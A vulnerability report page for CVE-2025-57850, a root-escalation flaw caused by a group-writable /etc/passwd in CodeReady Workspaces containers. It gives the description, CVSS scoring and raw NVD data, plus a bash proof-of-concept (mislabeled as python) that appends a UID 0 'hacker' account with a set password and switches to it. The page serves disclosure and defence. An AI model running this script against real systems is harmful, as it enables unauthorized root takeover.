Security Vulnerability Report
中文
CVE-2025-57850 CVSS 6.4 MEDIUM

CVE-2025-57850

Published: 2025-12-02 19:15:50
Last Modified: 2026-04-15 00:35:42

Description

A container privilege escalation flaw was found in certain CodeReady Workspaces images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Red Hat CodeReady Workspaces 2.x 特定版本(取决于具体镜像构建时间)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-57850 PoC - CodeReady Workspaces Container Privilege Escalation # This PoC demonstrates exploiting group-writable /etc/passwd to gain root access # Check if /etc/passwd is group-writable echo "[*] Checking /etc/passwd permissions..." ls -la /etc/passwd # Check current user and groups echo "[*] Current user: $(whoami)" echo "[*] Current groups: $(id)" # Verify we can write to /etc/passwd if [ ! -w /etc/passwd ]; then echo "[-] /etc/passwd is not writable by current user" exit 1 fi echo "[+] /etc/passwd is writable! Proceeding with exploitation..." # Generate a password hash (for root user) echo "[*] Generating password hash..." PASSWORD="hacked123" HASH=$(openssl passwd -1 -salt exploit $PASSWORD) echo "[+] Password hash: $HASH" # Create backup of /etc/passwd cp /etc/passwd /etc/passwd.bak echo "[*] Backup created at /etc/passwd.bak" # Add new root user to /etc/passwd echo "[*] Adding new root user..." echo "hacker:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd # Verify the entry was added echo "[*] Verifying /etc/passwd modification..." grep "hacker" /etc/passwd # Attempt to login as the new root user echo "[+] Attempting to switch to root user..." su - hacker # Cleanup (if needed) # cp /etc/passwd.bak /etc/passwd

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57850", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:50.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain CodeReady Workspaces images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57850", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391103", "source": "[email protected]"}]}}